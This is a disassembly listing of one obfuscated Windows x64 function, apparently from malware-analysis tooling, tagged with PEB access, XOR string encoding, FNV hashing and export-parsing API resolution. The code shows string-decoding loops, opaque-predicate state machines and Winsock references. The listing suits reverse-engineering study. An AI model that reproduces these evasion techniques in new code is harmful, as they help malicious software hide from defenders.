Function at 0x14021bad0
Capabilities:
Access peb ldr_data
Check os version
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x120
movzx eax, byte [0x14033f9df]
mov r12d, dword [0x14033fac8]
add eax, r12d
cmp eax, 0x4b
ja 0x14021c445
je 0x14021c2fc
cmp eax, 6
je 0x14021bff0
cmp eax, 0x15
je 0x14021bea8
cmp eax, 0x28
jne 0x14021c45b
movdqa xmm0, xmmword [0x14031f070]
movdqu xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0x4000
mov dword [rsp + 0x39], 0xd13159
mov word [rsp + 0x3d], 0x305
mov byte [rsp + 0x3f], Ordinal_50
mov byte [rsp + 0x38], 0
xor r13d, r13d
mov esi, r13d
lea r8, [rsp + 0x32]
lea r15, [rsp + 0x31]
neg r15
lea r14, [rsp + 0x30]
neg r14
nop word [rax + rax]
lea ebx, [rsi + rsi*2]
movzx ecx, byte [rsp + rbx + 0x20]
mov byte [r8], cl
movzx eax, sil
add al, al
lea edi, [rax + rsi]
movzx r10d, dil
add r10b, byte [rsp + 0x3b]
xor r10b, cl
mov byte [r8], r10b
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021bbc6
inc dl
cmp dl, 4
jne 0x14021bbb0
jmp 0x14021bbd5
movsx ecx, r10b
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rbx + 2]
lea r10, [rsp + 0x20]
add r10, rcx
movzx r9d, byte [r10]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021bc06
inc dl
cmp dl, 8
jne 0x14021bbf0
jmp 0x14021bc15
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14021bc32
inc cl
cmp cl, 5
jne 0x14021bc20
jmp 0x14021bc41
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [r8], cl
movzx eax, dil
add al, byte [rsp + 0x3a]
xor byte [r8], al
lea eax, [rbx + 3]
movzx eax, byte [rsp + rax + 0x20]
mov byte [r8 + 1], al
lea r9d, [rdi + 3]
add r9b, byte [rsp + 0x3b]
xor r9b, al
mov byte [r8 + 1], r9b
xor dl, dl
lea eax, [rbx + 4]
movzx r10d, byte [rsp + rax + 0x20]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021bc8d
inc dl
cmp dl, 4
jne 0x14021bc73
lea r10, [r15 + r8]
jmp 0x14021bca2
lea r10, [r15 + r8]
movsx ecx, r9b
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [rsp + r10 + 0x32], cl
mov dl, 5
lea ecx, [rbx + 5]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r9d, byte [r11]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021bcc9
inc dl
cmp dl, 8
jne 0x14021bcb3
jmp 0x14021bcdc
movsx ecx, byte [rsp + r10 + 0x32]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [rsp + r10 + 0x32], cl
xor cl, cl
movzx edx, byte [r11]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14021bcf4
inc cl
cmp cl, 5
jne 0x14021bce2
jmp 0x14021bd07
movsx ecx, byte [rsp + r10 + 0x32]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [rsp + r10 + 0x32], cl
lea eax, [rdi + 3]
add al, byte [rsp + 0x3a]
xor byte [rsp + r10 + 0x32], al
lea eax, [rsi + 2]
lea ecx, [rax + rax*2]
movzx ecx, byte [rsp + rcx + 0x20]
mov byte [r8 + 2], cl
add dil, 6
movzx r10d, dil
add r10b, byte [rsp + 0x3b]
xor r10b, cl
mov byte [r8 + 2], r10b
xor dl, dl
lea eax, [rbx + 7]
movzx r9d, byte [rsp + rax + 0x20]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021bd5b
inc dl
cmp dl, 4
jne 0x14021bd41
lea r9, [r14 + r8]
jmp 0x14021bd70
lea r9, [r14 + r8]
movsx ecx, r10b
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [rsp + r9 + 0x32], cl
mov dl, 5
lea ecx, [rbx + 8]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r10d, byte [r11]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021bd97
inc dl
cmp dl, 8
jne 0x14021bd81
jmp 0x14021bdaa
movsx ecx, byte [rsp + r9 + 0x32]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [rsp + r9 + 0x32], cl
xor cl, cl
movzx edx, byte [r11]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14021bdc2
inc cl
cmp cl, 5
jne 0x14021bdb0
jmp 0x14021bdd5
movsx ecx, byte [rsp + r9 + 0x32]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [rsp + r9 + 0x32], cl
add dil, byte [rsp + 0x3a]
xor byte [rsp + r9 + 0x32], dil
add esi, 3
add r8, 3
cmp esi, 6
jne 0x14021bb80
mov eax, 0xcccccccd
mul r12d
shr edx, 2
lea eax, [rdx + rdx*4]
sub r12d, eax
cmp byte [rsp + r12 + 0x32], 9
je 0x14021be99
mov edx, 0x8f19f632
mov cl, 0x18
mov eax, edx
shr eax, cl
test al, 1
je 0x14021be27
mov cl, 1
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021be53
mov cl, 1
mov eax, edx
shr eax, cl
test cl, al
jne 0x14021be53
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021be53
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021be53
mov cl, reloc.WS2_32.dll_select
shr edx, cl
test dl, 1
je 0x14021d2b5
mov edx, 0x38c39eb4
mov cl, Ordinal_30
mov eax, edx
shr eax, cl
test al, 1
je 0x14021be6e
mov cl, 2
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021be99
mov cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021be99
add cl, cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021be99
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021be99
mov cl, reloc.WS2_32.dll_recvfrom
shr edx, cl
test dl, 1
je 0x14021d2b5
mov dword [0x14033fac8], 3
jmp 0x14021d2b5
movdqa xmm0, xmmword [0x14031e1e0]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x35], 0x313159
mov word [rsp + 0x39], 0x305
mov byte [rsp + 0x3b], Ordinal_211
mov byte [rsp + 0x34], 0
xor r13d, r13d
mov r10d, r13d
lea r8, [rsp + 0x2f]
nop dword [rax]
nop word [rax + rax]
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx r9d, r11b
add r9b, byte [rsp + 0x37]
xor r9b, cl
mov byte [r8], r9b
xor dl, dl
lea eax, [rdi + 1]
movzx ebx, byte [rsp + rax + 0x20]
nop
movzx eax, bl
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021bf35
inc dl
cmp dl, 4
jne 0x14021bf20
jmp 0x14021bf44
movsx ecx, r9b
movzx eax, byte [rsp + 0x3a]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021bf76
inc dl
cmp dl, 8
jne 0x14021bf60
jmp 0x14021bf85
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x39]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14021bfa2
inc cl
cmp cl, 5
jne 0x14021bf90
jmp 0x14021bfb1
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x38]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x36]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 5
jne 0x14021bef0
mov eax, 0xcccccccd
mul r12d
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, r12d
sub ecx, eax
cmp byte [rsp + rcx + 0x2f], 0x27
jne 0x14021d2b5
add r12d, 0x1d
jmp 0x14021d2ae
movdqa xmm0, xmmword [0x14031ec10]
movdqu xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [0x14031e140]
movdqu xmmword [rsp + 0x30], xmm1
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x45], 0x313159
mov word [rsp + 0x49], 0x305
mov byte [rsp + 0x4b], Ordinal_211
mov byte [rsp + 0x44], 0
xor r13d, r13d
mov esi, r13d
lea r8, [rsp + 0x3b]
lea r15, [rsp + 0x3a]
neg r15
lea r14, [rsp + 0x39]
neg r14
nop dword [rax + rax]
lea ebx, [rsi + rsi*2]
movzx ecx, byte [rsp + rbx + 0x20]
mov byte [r8], cl
movzx eax, sil
add al, al
lea edi, [rax + rsi]
movzx r10d, byte [rsp + 0x47]
add r10b, dil
xor r10b, cl
mov byte [r8], r10b
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c096
inc dl
cmp dl, 4
jne 0x14021c080
jmp 0x14021c0a5
movsx ecx, r10b
movzx eax, byte [rsp + 0x4a]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rbx + 2]
lea r10, [rsp + 0x20]
add r10, rcx
movzx r9d, byte [r10]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c0d6
inc dl
cmp dl, 8
jne 0x14021c0c0
jmp 0x14021c0e5
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x49]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14021c102
inc cl
cmp cl, 5
jne 0x14021c0f0
jmp 0x14021c111
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x48]
btc ecx, eax
mov byte [r8], cl
movzx eax, byte [rsp + 0x46]
add al, dil
xor byte [r8], al
lea eax, [rbx + 3]
movzx eax, byte [rsp + rax + 0x20]
mov byte [r8 + 1], al
movzx r9d, byte [rsp + 0x47]
add r9b, 3
add r9b, dil
xor r9b, al
mov byte [r8 + 1], r9b
xor dl, dl
lea eax, [rbx + 4]
movzx r10d, byte [rsp + rax + 0x20]
nop word [rax + rax]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c16a
inc dl
cmp dl, 4
jne 0x14021c150
lea r10, [r15 + r8]
jmp 0x14021c17f
lea r10, [r15 + r8]
movsx ecx, r9b
movzx eax, byte [rsp + 0x4a]
btc ecx, eax
mov byte [rsp + r10 + 0x3b], cl
mov dl, 5
lea ecx, [rbx + 5]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r9d, byte [r11]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c1a6
inc dl
cmp dl, 8
jne 0x14021c190
jmp 0x14021c1b9
movsx ecx, byte [rsp + r10 + 0x3b]
movzx eax, byte [rsp + 0x49]
btc ecx, eax
mov byte [rsp + r10 + 0x3b], cl
xor cl, cl
movzx edx, byte [r11]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x14021c1d2
inc cl
cmp cl, 5
jne 0x14021c1c0
jmp 0x14021c1e5
movsx ecx, byte [rsp + r10 + 0x3b]
movzx eax, byte [rsp + 0x48]
btc ecx, eax
mov byte [rsp + r10 + 0x3b], cl
movzx eax, byte [rsp + 0x46]
add al, 3
add al, dil
xor byte [rsp + r10 + 0x3b], al
lea eax, [rsi + 2]
lea ecx, [rax + rax*2]
movzx ecx, byte [rsp + rcx + 0x20]
mov byte [r8 + 2], cl
add dil, 6
movzx r10d, dil
add r10b, byte [rsp + 0x47]
xor r10b, cl
mov byte [r8 + 2], r10b
xor dl, dl
lea eax, [rbx + 7]
movzx r9d, byte [rsp + rax + 0x20]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c23c
inc dl
cmp dl, 4
jne 0x14021c222
lea r9, [r14 + r8]
jmp 0x14021c251
lea r9, [r14 + r8]
movsx ecx, r10b
movzx eax, byte [rsp + 0x4a]
btc ecx, eax
mov byte [rsp + r9 + 0x3b], cl
mov dl, 5
lea ecx, [rbx + 8]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r10d, byte [r11]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c278
inc dl
cmp dl, 8
jne 0x14021c262
jmp 0x14021c28b
movsx ecx, byte [rsp + r9 + 0x3b]
movzx eax, byte [rsp + 0x49]
btc ecx, eax
mov byte [rsp + r9 + 0x3b], cl
xor cl, cl
movzx edx, byte [r11]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14021c2a3
inc cl
cmp cl, 5
jne 0x14021c291
jmp 0x14021c2b6
movsx ecx, byte [rsp + r9 + 0x3b]
movzx eax, byte [rsp + 0x48]
btc ecx, eax
mov byte [rsp + r9 + 0x3b], cl
add dil, byte [rsp + 0x46]
xor byte [rsp + r9 + 0x3b], dil
add esi, 3
add r8, 3
cmp esi, 9
jne 0x14021c050
mov eax, 0xcccccccd
mul r12d
shr edx, 2
lea eax, [rdx + rdx*4]
sub r12d, eax
cmp byte [rsp + r12 + 0x3b], 0x2e
jne 0x14021d2b5
mov dword [0x14033fac8], 0x16
jmp 0x14021d2b5
movdqa xmm0, xmmword [0x14031ed90]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x459002
mov qword [rsp + 0x34], reloc.WS2_32.dll_recv
mov dword [rsp + 0x3d], 0x314fd1
mov word [rsp + 0x41], 0x305
mov byte [rsp + 0x43], Ordinal_211
mov byte [rsp + 0x3c], 0
xor r13d, r13d
mov r10d, r13d
lea r8, [rsp + 0x35]
nop
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx r9d, r11b
add r9b, byte [rsp + 0x3f]
xor r9b, cl
mov byte [r8], r9b
xor dl, dl
lea eax, [rdi + 1]
movzx ebx, byte [rsp + rax + 0x20]
nop
movzx eax, bl
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c385
inc dl
cmp dl, 4
jne 0x14021c370
jmp 0x14021c394
movsx ecx, r9b
movzx eax, byte [rsp + 0x42]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c3c6
inc dl
cmp dl, 8
jne 0x14021c3b0
jmp 0x14021c3d5
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x41]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14021c3f2
inc cl
cmp cl, 5
jne 0x14021c3e0
jmp 0x14021c401
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x40]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x3e]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 7
jne 0x14021c340
mov eax, 0xcccccccd
mul r12d
shr edx, 2
lea eax, [rdx + rdx*4]
sub r12d, eax
cmp byte [rsp + r12 + 0x35], 0x3b
jne 0x14021d2b5
mov dword [0x14033fac8], 0xc
jmp 0x14021d2b5
cmp eax, 0x2227
je 0x14021d11e
cmp eax, 0x23fb
je 0x14021c8fc
movdqa xmm0, xmmword [0x14031edd0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x14031e420]
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmm0, xmmword [0x14031efb0]
movdqa xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x14031f060]
movdqa xmmword [rsp + 0xa0], xmm1
movdqa xmm0, xmmword [0x14031e5b0]
movdqa xmmword [rsp + 0xb0], xmm0
movdqa xmm1, xmmword [0x14031efc0]
movdqa xmmword [rsp + 0xc0], xmm1
movdqa xmm0, xmmword [0x14031e9f0]
movdqa xmmword [rsp + 0xd0], xmm0
movdqa xmm1, xmmword [0x14031dea0]
movdqa xmmword [rsp + 0xe0], xmm1
xorps xmm0, xmm0
movdqa xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], 0
mov dword [rsp + 0x108], 0
mov dword [rsp + 0x10d], 0x4f3159
mov word [rsp + 0x111], 0x305
mov byte [rsp + 0x113], 0x59
mov byte [rsp + 0x10c], 0
xor r13d, r13d
mov esi, r13d
lea r8, [rsp + 0xe5]
lea r15, [rsp + 0xe4]
neg r15
lea r14, [rsp + 0xe3]
neg r14
nop dword [rax]
lea ebx, [rsi + rsi*2]
movzx ecx, byte [rsp + rbx + 0x70]
mov byte [r8], cl
movzx eax, sil
add al, al
lea edi, [rax + rsi]
movzx r10d, dil
add r10b, byte [rsp + 0x10f]
xor r10b, cl
mov byte [r8], r10b
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x70]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c597
inc dl
cmp dl, 4
jne 0x14021c581
jmp 0x14021c5a9
movsx ecx, r10b
movzx eax, byte [rsp + 0x112]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rbx + 2]
lea r10, [rsp + 0x70]
add r10, rcx
movzx r9d, byte [r10]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c5d6
inc dl
cmp dl, 8
jne 0x14021c5c0
jmp 0x14021c5e8
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x111]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x14021c602
inc cl
cmp cl, 5
jne 0x14021c5f0
jmp 0x14021c614
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x110]
btc ecx, eax
mov byte [r8], cl
movzx eax, dil
add al, byte [rsp + 0x10e]
xor byte [r8], al
lea eax, [rbx + 3]
movzx eax, byte [rsp + rax + 0x70]
mov byte [r8 + 1], al
lea r9d, [rdi + 3]
add r9b, byte [rsp + 0x10f]
xor r9b, al
mov byte [r8 + 1], r9b
xor dl, dl
lea eax, [rbx + 4]
movzx r10d, byte [rsp + rax + 0x70]
nop dword [rax]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c66a
inc dl
cmp dl, 4
jne 0x14021c650
lea r10, [r15 + r8]
jmp 0x14021c685
lea r10, [r15 + r8]
movsx ecx, r9b
movzx eax, byte [rsp + 0x112]
btc ecx, eax
mov byte [rsp + r10 + 0xe5], cl
mov dl, 5
lea ecx, [rbx + 5]
lea r11, [rsp + 0x70]
add r11, rcx
movzx r9d, byte [r11]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c6b6
inc dl
cmp dl, 8
jne 0x14021c6a0
jmp 0x14021c6d2
movsx ecx, byte [rsp + r10 + 0xe5]
movzx eax, byte [rsp + 0x111]
btc ecx, eax
mov byte [rsp + r10 + 0xe5], cl
xor cl, cl
movzx edx, byte [r11]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14021c6f2
inc cl
cmp cl, 5
jne 0x14021c6e0
jmp 0x14021c70e
movsx ecx, byte [rsp + r10 + 0xe5]
movzx eax, byte [rsp + 0x110]
btc ecx, eax
mov byte [rsp + r10 + 0xe5], cl
lea eax, [rdi + 3]
add al, byte [rsp + 0x10e]
xor byte [rsp + r10 + 0xe5], al
lea eax, [rsi + 2]
lea ecx, [rax + rax*2]
movzx ecx, byte [rsp + rcx + 0x70]
mov byte [r8 + 2], cl
add dil, 6
movzx r10d, dil
add r10b, byte [rsp + 0x10f]
xor r10b, cl
mov byte [r8 + 2], r10b
xor dl, dl
lea eax, [rbx + 7]
movzx r9d, byte [rsp + rax + 0x70]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c76b
inc dl
cmp dl, 4
jne 0x14021c751
lea r9, [r14 + r8]
jmp 0x14021c786
lea r9, [r14 + r8]
movsx ecx, r10b
movzx eax, byte [rsp + 0x112]
btc ecx, eax
mov byte [rsp + r9 + 0xe5], cl
mov dl, 5
lea ecx, [rbx + 8]
lea r11, [rsp + 0x70]
add r11, rcx
movzx r10d, byte [r11]
nop word [rax + rax]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c7b6
inc dl
cmp dl, 8
jne 0x14021c7a0
jmp 0x14021c7d2
movsx ecx, byte [rsp + r9 + 0xe5]
movzx eax, byte [rsp + 0x111]
btc ecx, eax
mov byte [rsp + r9 + 0xe5], cl
xor cl, cl
movzx edx, byte [r11]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14021c7f2
inc cl
cmp cl, 5
jne 0x14021c7e0
jmp 0x14021c80e
movsx ecx, byte [rsp + r9 + 0xe5]
movzx eax, byte [rsp + 0x110]
btc ecx, eax
mov byte [rsp + r9 + 0xe5], cl
add dil, byte [rsp + 0x10e]
xor byte [rsp + r9 + 0xe5], dil
add esi, 3
add r8, 3
cmp esi, 0x27
jne 0x14021c550
mov eax, 0x38e38e39
mul r12d
shr edx, 3
lea ecx, [rdx + rdx*8]
shl ecx, 2
mov eax, r12d
sub eax, ecx
cmp byte [rsp + rax + 0xe5], 0x20
jne 0x14021c85d
mov dword [0x14033fac8], 9
jmp 0x14021d2b5
mov edx, 0xb4dfeecb
mov cl, reloc.WS2_32.dll_socket
mov eax, edx
shr eax, cl
test al, 1
je 0x14021c878
mov cl, 3
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021c8f3
mov cl, 3
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021c8f3
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021c8f3
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021c8f3
mov cl, 0xb
shr edx, cl
test dl, 1
jne 0x14021c8f3
mov edx, 0xc3e94c07
mov cl, reloc.WS2_32.dll_socket
mov eax, edx
shr eax, cl
test al, 1
je 0x14021c8bb
mov cl, 3
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021c8e7
mov cl, 3
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021c8e7
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021c8e7
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021c8e7
mov cl, reloc.WS2_32.dll_sendto
shr edx, cl
test dl, 1
je 0x14021d2b5
mov dword [0x14033fac8], r13d
jmp 0x14021d2b5
add r12d, 0x11
jmp 0x14021d2ae
movdqa xmm0, xmmword [0x14031ef10]
movdqu xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0x4008
mov dword [rsp + 0x39], 0x594fd1
mov word [rsp + 0x3d], 0x305
mov byte [rsp + 0x3f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rsp + 0x38], 0
xor r13d, r13d
mov esi, r13d
lea r8, [rsp + 0x32]
lea r15, [rsp + 0x31]
neg r15
lea r14, [rsp + 0x30]
neg r14
nop word [rax + rax]
lea ebx, [rsi + rsi*2]
movzx ecx, byte [rsp + rbx + 0x20]
mov byte [r8], cl
movzx eax, sil
add al, al
lea edi, [rax + rsi]
movzx r10d, dil
add r10b, byte [rsp + 0x3b]
xor r10b, cl
mov byte [r8], r10b
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c996
inc dl
cmp dl, 4
jne 0x14021c980
jmp 0x14021c9a5
movsx ecx, r10b
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rbx + 2]
lea r10, [rsp + 0x20]
add r10, rcx
movzx r9d, byte [r10]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021c9d6
inc dl
cmp dl, 8
jne 0x14021c9c0
jmp 0x14021c9e5
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14021ca02
inc cl
cmp cl, 5
jne 0x14021c9f0
jmp 0x14021ca11
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [r8], cl
movzx eax, dil
add al, byte [rsp + 0x3a]
xor byte [r8], al
lea eax, [rbx + 3]
movzx eax, byte [rsp + rax + 0x20]
mov byte [r8 + 1], al
lea r9d, [rdi + 3]
add r9b, byte [rsp + 0x3b]
xor r9b, al
mov byte [r8 + 1], r9b
xor dl, dl
lea eax, [rbx + 4]
movzx r10d, byte [rsp + rax + 0x20]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021ca5d
inc dl
cmp dl, 4
jne 0x14021ca43
lea r10, [r15 + r8]
jmp 0x14021ca72
lea r10, [r15 + r8]
movsx ecx, r9b
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [rsp + r10 + 0x32], cl
mov dl, 5
lea ecx, [rbx + 5]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r9d, byte [r11]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021ca99
inc dl
cmp dl, 8
jne 0x14021ca83
jmp 0x14021caac
movsx ecx, byte [rsp + r10 + 0x32]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [rsp + r10 + 0x32], cl
xor cl, cl
movzx edx, byte [r11]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14021cac4
inc cl
cmp cl, 5
jne 0x14021cab2
jmp 0x14021cad7
movsx ecx, byte [rsp + r10 + 0x32]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [rsp + r10 + 0x32], cl
lea eax, [rdi + 3]
add al, byte [rsp + 0x3a]
xor byte [rsp + r10 + 0x32], al
lea eax, [rsi + 2]
lea ecx, [rax + rax*2]
movzx ecx, byte [rsp + rcx + 0x20]
mov byte [r8 + 2], cl
add dil, 6
movzx r10d, dil
add r10b, byte [rsp + 0x3b]
xor r10b, cl
mov byte [r8 + 2], r10b
xor dl, dl
lea eax, [rbx + 7]
movzx r9d, byte [rsp + rax + 0x20]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021cb2b
inc dl
cmp dl, 4
jne 0x14021cb11
lea r9, [r14 + r8]
jmp 0x14021cb40
lea r9, [r14 + r8]
movsx ecx, r10b
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [rsp + r9 + 0x32], cl
mov dl, 5
lea ecx, [rbx + 8]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r10d, byte [r11]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14021cb67
inc dl
cmp dl, 8
jne 0x14021cb51
jmp 0x14021cb7a
movsx ecx, byte [rsp + r9 + 0x32]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [rsp + r9 + 0x32], cl
xor cl, cl
movzx edx, byte [r11]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14021cb92
inc cl
cmp cl, 5
jne 0x14021cb80
jmp 0x14021cba5
movsx ecx, byte [rsp + r9 + 0x32]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [rsp + r9 + 0x32], cl
add dil, byte [rsp + 0x3a]
xor byte [rsp + r9 + 0x32], dil
add esi, 3
add r8, 3
cmp esi, 6
jne 0x14021c950
mov eax, 0xcccccccd
mul r12d
shr edx, 2
lea eax, [rdx + rdx*4]
sub r12d, eax
mov ecx, Ordinal_50
mov edx, 5
cmp byte [rsp + r12 + 0x32], 0xa
cmovne ecx, edx
mov dword [0x14033fac8], ecx
mov edx, 0x7c9479c8
mov cl, 0x18
mov eax, edx
shr eax, cl
test al, 1
je 0x14021cc04
mov cl, 2
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021cc2f
mov cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021cc2f
add cl, cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021cc2f
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x14021cc2f
mov cl, reloc.WS2_32.dll_ntohs
shr edx, cl
test dl, 1
je 0x14021d2b5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
